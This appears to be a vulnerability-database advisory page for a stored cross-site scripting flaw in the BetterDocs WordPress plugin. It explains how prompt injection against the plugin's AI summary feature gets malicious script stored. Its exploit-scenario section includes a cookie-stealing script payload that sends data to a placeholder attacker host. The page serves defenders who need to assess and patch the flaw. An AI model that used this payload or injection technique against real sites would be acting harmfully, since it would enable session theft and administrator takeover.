Skip to main content

BetterDocs EUVDEUVD-2026-44870

| CVE-2026-11371 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-16 WPScan GHSA-x6ph-p955-jvgx
6.1
CVSS 3.1 · Vendor: WPScan
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Submit adversarial prompt to unauthenticated AI summary endpoint
  2. Delivery
    AI generates output containing malicious JavaScript
  3. Exploit
    Unsanitized payload written to WordPress database
  4. Install
    Admin or visitor navigates to affected documentation page
  5. C2
    Browser executes injected script in victim session context
  6. Execute
    Session cookie exfiltrated to attacker-controlled server
  7. Impact
    Attacker authenticates as administrator

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the BetterDocs AI documentation summary generation feature is enabled and that the generation endpoint is reachable over the network - this feature is exposed to unauthenticated users by default in affected versions (4.0.0 through <4.5.5), so no credentials or elevated access are required to plant the payload. The attacker cannot directly control when impact is realized; the stored XSS fires only when a subsequent user visits the affected documentation page (UI:R). Impact is most severe when an authenticated administrator is the victim, enabling session hijacking and admin takeover. Sites where BetterDocs is installed but the AI summary feature is explicitly disabled are not exploitable via this vector. Sites running version 4.5.5 or later are not affected.

Impact

The CVSS 6.1 Medium score with vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N appropriately captures network reachability, zero-authentication exploitation, and scope change - but the practical risk to WordPress site operators exceeds what the numeric score conveys. The stored nature of this XSS means a single exploit attempt poisons the page for all future visitors indefinitely. The scope change (S:C) is operationally significant: when an authenticated administrator views the affected page, the injected script executes with the privileges of that session, enabling full WordPress admin takeover via session cookie theft or CSRF-style actions. A publicly available exploit via WPScan lowers attacker skill requirements substantially. No EPSS score was provided in the input data, so probability comparisons cannot be made. No CISA KEV listing exists at time of analysis, suggesting exploitation has not yet been observed at scale - but the combination of unauthenticated trigger, stored persistence, admin-targeting potential, and public POC makes this a genuine remediation priority for any site running BetterDocs with the AI feature active.

Exploit ScenarioDerived

An unauthenticated attacker submits a crafted prompt to the BetterDocs AI summary generation endpoint - for example, instructing the AI to include <script>fetch('https://attacker.com/exfil?c='+btoa(document.cookie))</script> as part of the generated documentation. The unsanitized AI output is stored to the database and rendered on the documentation page. When a WordPress administrator subsequently views the page during a normal administrative session, the script silently exfiltrates their session cookie, granting the attacker full admin access to the WordPress site. A public exploit demonstrating this chain is available via WPScan.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 16, 2026

Stored cross-site scripting via prompt injection in the BetterDocs WordPress plugin (versions 4.0.0 through 4.5.5) allows unauthenticated attackers to permanently implant malicious JavaScript into documentation pages by manipulating the plugin's AI-generated summary feature. Because the AI output is stored unsanitized and the generation endpoint requires no authentication, an attacker can craft adversarial prompts that cause the AI to produce and persist executable script payloads - payloads that then fire in the browser of every subsequent visitor, including WordPress administrators. A publicly available exploit exists via WPScan; no active exploitation confirmed in CISA KEV at time of analysis.

RemediationAI

Update BetterDocs to version 4.5.5 or later, which introduces output sanitization for AI-generated content prior to storage and rendering. This is the only fully effective fix. If immediate patching is not feasible, disable the AI documentation summary generation feature within the plugin settings - this eliminates the attack surface entirely but removes AI-assisted authoring functionality. As an additional layer, a web application firewall rule can be configured to block requests to the AI generation endpoint from unauthenticated users, though this may break legitimate anonymous usage flows and should be tested before deployment. Avoid relying on Content Security Policy alone as a compensating control, as CSP enforcement varies across WordPress themes and plugins and may not fully block the injected payload. Refer to the WPScan advisory at https://wpscan.com/vulnerability/db41e3db-74c2-4b94-bbff-bd1493295241/ for additional remediation context.

Affected VersionsENISA

BetterDocs 4.0.0 <4.5.5

Affected Packages

euvd betterdocs fix: 4.5.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting), specifically the stored variant. BetterDocs is a WordPress documentation management plugin that includes an AI-powered feature to auto-generate documentation summaries from user-supplied inputs. The flaw lies in a classic trust boundary failure: AI-generated output is treated as safe content and persisted directly to the WordPress database, then echoed into the HTML page without output encoding or sanitization. This creates a prompt injection → stored XSS chain - an attacker manipulates the AI's generation process to include JavaScript, which the application faithfully stores and renders. Affected CPE: cpe:2.3:a:unknown:betterdocs:*:*:*:*:*:*:*:* (NVD CPE mapping is incomplete; actual vendor is WPDeveloper). The scope change (S:C in CVSS) reflects that the malicious script executes in the victim's browser security context, not the server's.

Know when Betterdocs gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (WPScan) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

AI generation endpoint is network-exposed with no authentication (AV:N/PR:N); stored XSS executes in victim browser across scope boundary (S:C/UI:R); impact limited to session data theft and DOM manipulation (C:L/I:L/A:N).

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (WPScan).

CVSS VectorVendor: WPScan

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

4
CVSS changed
Jul 16, 2026 - 13:22 NVD
6.1 (MEDIUM)
Patch available
Jul 16, 2026 - 10:18 EUVD
CVE Published
Jul 16, 2026 - 06:00 cve.org
UNKNOWN (no severity yet)
CVE Published
Jul 16, 2026 - 06:00 cve.org
MEDIUM 6.1

DescriptionCVE.org

The BetterDocs WordPress plugin before 4.5.5 does not sanitise an AI-generated documentation summary before storing and outputting it, and the feature that generates it is exposed to unauthenticated users, allowing them to store a malicious payload via prompt injection that executes in the browser of any visitor who views the affected page, including administrators.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Medium
popular WordPress documentation plugin, niche relative to core WordPress ecosystem
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy